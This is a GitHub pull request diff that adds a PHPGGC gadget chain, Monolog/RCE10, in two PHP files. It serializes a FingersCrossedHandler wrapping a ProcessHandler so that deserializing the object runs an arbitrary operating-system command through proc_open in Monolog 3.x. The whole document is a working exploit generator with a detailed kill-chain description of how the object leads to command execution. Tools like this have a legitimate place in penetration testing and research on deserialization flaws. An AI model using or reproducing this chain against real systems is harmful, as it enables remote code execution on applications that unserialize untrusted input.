Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions gadgetchains/Monolog/RCE/10/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
<?php

namespace GadgetChain\Monolog;

class RCE10 extends \PHPGGC\GadgetChain\RCE\Command
{
public static $version = '3.0.0 <= 3.10.0+';
public static $vector = '__destruct';
public static $author = '0xbro';
public static $information = '
This chain is a variation of Monolog/RCE5 and Monolog/RCE6. It uses a proc_open sink inside ProcessHandler,
which executes arbitrary commands serialized within the deserialized object .
Kill chain:
FingersCrossedHandler::__destruct() [Handler base]
→ close()
→ flushBuffer()
passthruLevel = 500 (non-null) → filter runs
buffer[0]["level"] = 500 >= 500 → record passes
getHandler() → ProcessHandler (already HandlerInterface) returned directly
ProcessHandler::handleBatch([$record])
→ AbstractProcessingHandler::handle($record)
isHandling(): 500 >= 100 → true
getFormatter() → null → new LineFormatter()
LineFormatter::format($record) ← DateTimeImmutable in record["datetime"]
ProcessHandler::write($record)
ensureProcessIsStarted()
is_resource(null) = false → startProcess()
proc_open($command, ...) ← OS COMMAND EXECUTED
';

public function generate(array $parameters)
{
$command = $parameters['command'];

return new
\Monolog\Handler\FingersCrossedHandler(
new
\Monolog\Handler\ProcessHandler($command)
);
}
}
82 changes: 82 additions & 0 deletions gadgetchains/Monolog/RCE/10/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
<?php

namespace Monolog {
enum Level: int {
case Debug = 100;
case Info = 200;
case Notice = 250;
case Warning = 300;
case Error = 400;
case Critical = 500;
case Alert = 550;
case Emergency = 600;
}

// NEW: Monolog v3 uses a strict LogRecord object instead of arrays
class LogRecord {
public \DateTimeImmutable $datetime;
public string $channel;
public Level $level;
public string $message;
public array $context;
public array $extra;
public mixed $formatted;

public function __construct() {
$this->datetime = new \DateTimeImmutable("2024-01-01 00:00:00");
$this->channel = "app";
$this->level = Level::Critical;
$this->message = "x";
$this->context = [];
$this->extra = [];
$this->formatted = null;
}
}
}

namespace Monolog\Handler
{
// killchain :
// <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <ProcessHandler>handleBatch($records)
use Monolog\Level;
abstract class AbstractHandler {
protected $level;
protected $bubble = true;

public function __construct() {
$this->level = Level::Debug;
}
}

class FingersCrossedHandler extends AbstractHandler {
protected $passthruLevel;
protected $buffer = [];
protected $handler;

public function __construct($handler) {
parent::__construct();
$this->handler = $handler;
$this->passthruLevel = Level::Debug;

// Populate the buffer with the new LogRecord object
$this->buffer = [
new \Monolog\LogRecord()
];
}
}

class ProcessHandler extends AbstractHandler {
private $command;
private $process = null;
private $pipes = [];
private $cwd = null;
protected $formatter = null;
protected $processors = [];

function __construct($command) {
parent::__construct();
$this->command = $command;
}
}

}